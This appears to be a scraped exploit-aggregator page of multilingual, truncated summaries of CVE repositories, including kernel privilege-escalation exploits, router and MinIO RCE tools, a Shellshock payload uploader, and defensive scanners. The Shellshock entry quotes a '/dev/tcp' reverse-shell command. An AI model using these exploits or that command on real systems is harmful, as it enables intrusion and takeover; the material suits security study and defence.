CVE-2023-25157

CVE-2023-25157 Este es un script simple de Python para encontrar la última vulnerabilidad de inyección SQL de GeoServer. Puedes usar los scripts en hosts para verificar rutas infectadas. Instalación: 1. git clone https://github.com/0x2458bughunt/CVE-2023-25157/ 2. cd CVE-2023-25157 3. chmod +x...

CVE-2022-29593

CVE-2022-29593 - 通过捕获重放绕过认证（鼎天 DT-R002） 标题 通过捕获重放绕过认证 发布时间：版本：1.0 厂商：深圳市鼎天科技有限公司 产品：2通道继电器板/继电器卡 受影响版本：固件 V3.1.276A 产品 - 鼎天 DTR004 阿里国际站链接 产品描述 2通道继电器板/继电器卡 支持 WiFi/RS485/以太网 技术规格 root@kitploit: 概述 支持多通道继电器，开/关/延时/点动 支持多种接口 RJ45/RS485/CAN/WIFI 本地按键控制 PC 应用配置和控制 WEB 配置和控制 8KB FIFO 命令缓冲区 支持密码 WIFI...

omigood

omigood OM I GOOD? 本仓库包含一个免费扫描器，用于检测易受Wiz威胁研究团队发现的"OMIGOD"漏洞之一（特别是CVE-2021-38647 ）影响的VM。 来自Wiz的原始博客文章：https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure 概述 扫描器需要Azure凭据连接到Azure API，给定订阅和资源组（默认情况下会扫描所有可用的），检索Linux VM列表并报告机器是否可能易受攻击。...

CVE-2026-46300

🛡️ CVE-2026-46300 - Fragnesia 一种干净而致命的页面缓存攻击 "Dirty Frag"家族的一个变种 📌 概述 CVE-2026-46300 （Fragnesia）是 Linux 内核在 XFRM/ESP-in-TCP 子系统（espintcp ULP）中 socket 缓冲区处理（skbtrycoalesce）的一个 高严重性逻辑缺陷 。 无特权的本地攻击者 可以对任何 可读 文件（包括 /usr/bin/su 等系统二进制文件）的内核页面缓存实现 任意字节写入 ，从而导致可靠的 本地权限提升为 root 。 ✨ 主要亮点 ✅ 无需竞争条件 ✅ 完全作用于...

TP-Link-ArcherC5-RCE

TP-Link Archer C5 RCE Autenticado a Través de Carga de Archivo de Configuración Malicioso CVE-2018-19537 Descripción Existe una vulnerabilidad de ejecución remota de código RCE autenticada en todas las versiones de firmware publicadas para el router TP-Link Archer C5. Al cargar un archivo de...

evil_minio

Evil MinIO CVE-2023-28434 Doc: CVE-2023-28432 minio: Acceso no autorizado a interfaz hasta RCE sin pérdida y puerta trasera global.pdf EXP para CVE-2023-28434 MinIO: de acceso no autorizado a RCE Modificado desde https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8 ¿Qué se...

CiscoRV320Dump

CiscoRV320Dump Exploits CVE-2019-1653/CVE-2019-1652 para volcar configuraciones de Cisco RV320 y obtener RCE Implementaciones de los exploits CVE-2019-1652 y CVE-2019-1653 divulgados por Red Team Pentesting GmbH. Solo probé estos en un RV320, pero según el aviso de Cisco, el RV325 también es...

CVE-2024-1086

CVE-2024-1086 针对 CVE-2024-1086 的通用本地权限提升概念验证漏洞利用，适用于 v5.14 至 v6.6 之间的大多数 Linux 内核，包括 Debian、Ubuntu 和 KernelCTF。在 KernelCTF 镜像中的成功率为 99.4%。 https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de 博客文章 / 技术分析 关于该漏洞利用的完整技术分析（包括背景信息和大量有用的图表）可以在 Flipping Pages...

CVE-2026-43499-RMX5200

CVE-2026-43499 para realme RMX5200 Escalada de privilegios local SO de la CVE-2026-43499 para: Elemento| Valor ---|--- Dispositivo| realme RMX5200 / RE6030L1 Android| 16 Kernel| 6.12.23-android16-5-gb2a876903b49-ab14541642-4k Huella| realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-key...

massh-enum

+----------------+ | massh-enum 1.0 | +----------------+ root@kitploit: OpenSSH 2.3 到 7.4 批量用户名枚举 CVE-2018-15473 此脚本包含 Matthew Daley 的 Python 脚本 许可证: GPLv3, 描述 OpenSSH 2.3 到 7.4 版本存在用户名枚举漏洞。 攻击者可以使用畸形数据包（例如截断的数据包）尝试对用户进行身份验证，并且： 如果用户无效（不存在），则 userauthpubkey 会立即返回， 服务器会向攻击者发送 SSH2MSGUSERAUTHFAILUR...

CVE-2023-33246-Copy

1. 参考学习 CVE-2023-33246 https://github.com/I5N0rth/CVE-2023-33246 2. 本地搭建环境 2.1 下载镜像 root@kitploit: docker pull apache/rocketmq:4.9.1 docker pull apacherocketmq/rocketmq-console:2.0.0 2.2 启动broker、namesrv、console 启动namesrv root@kitploit: docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e...

fetch-broker-conf

Fetch Broker 配置 Fetch Broker 配置将尝试下载 RocketMQ 的 broker 配置，以搜寻 rocketmqHome 变量中的入侵指标。该变量被多种攻击者利用，通过 CVE-2023-33246 执行代码。更多详情，请参阅 VulnCheck 博客。 编译 您可以使用 makefile 构建 Docker 容器： root@kitploit: make docker 或者，如果您已经准备好了 Go 构建环境，可以直接使用 make： root@kitploit: albinolobster@mournland:/fetch-broker-conf$ mak...

root-dirtyc0w

root-dirtyc0w CVE-2016-5195 DirtyCow 根权限提升 Dirty COW 是 Linux 内核中的一个竞态条件漏洞。该漏洞存在于处理内存映射写时复制（COW）特性的内核函数中，被利用时可允许进程写入只读文件。 该漏洞的一个示例用例是，将任何 SUID（设置用户 ID）二进制文件（如 passwd 可执行文件）覆盖为一个不同的 ELF 可执行文件（我们创建的），该文件执行 /bin/sh 从而获取 root 权限（如本仓库所示）。 你可以在 Linux 中找到更多设置了 SUID...

IonStack-S22U

CVE-2026-43499 - Galaxy S22 Ultra https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3 | ---|--- | This repository contains a device-specific port of the CVE-2026-43499 exploit for the Samsung Galaxy S22 Ultra SM-S908W. Supported target root@kitploit: Device: Samsung...

CVE-2026-52616

CVE-2026-52616 — mcp-nmap-server: OS command injection via runnmapscan The runnmapscan MCP tool builds its command by string interpolation of the target and additionalFlags parameters and runs it through childprocess.exec, i.e. /bin/sh -c. ⚠ Read this first — duplicate identifier This vulnerabili...

ghostlock-s26

GhostLock CVE-2026-43499 for the Galaxy S26 CVE-2026-43499 ported to the Samsung Galaxy S26 series — Android 16 / GKI 6.12. One binary, three kernel lines, dynamic parameter matching at runtime: theoretically covers the whole S26 series without per-build compilation. Most GhostLock porting effort...

log4j-checker

Log4j-Checker 本仓库包含一些脚本，可帮助识别可能受 CVE-2021-44228（又名 Log4Shell）影响的 .jar 文件。 Log4Shell 哈希检查 该脚本将从指定路径开始扫描文件系统中的 .jar 文件，为找到的每个 .jar 文件计算 SHA-256 哈希（与文件名无关），并将该值与用户提供的 SHA-256 哈希列表进行比对。 针对官方 Log4j 版本计算得到的已知哈希文件可从 https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes 获取，本仓库包含的哈希文件即来源于此。 注意：如果系统中使用的...

database-sentinel

🛡️ Database Sentinel Una skill de Claude que audita tus backends de base de datos para vulnerabilidades de seguridad. Colócalo en Claude Code, Cursor o cualquier entorno potenciado por Claude. Di "audita mi base de datos" y obtén un informe de seguridad completo con el código de corrección exacto,...

CVE-2014-6271

Hellshocker 0.1.1 用于利用 Shellshock 漏洞的工具 厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash & /dev/tcp/IP/port 0&1" 这种方式进入服务器？ 是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。 有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。 "哇，"你说，"但是我不用 PHP，我需要 Java...

ruby-RCE-CVE-2019-5420-

ruby 反序列化 （CVE-2019-5420） root@kitploit: https://github.com/PenTestical/CVE-2019-5420 参考： root@kitploit: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 Since ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor use Marshal as the default serializer, I confirm...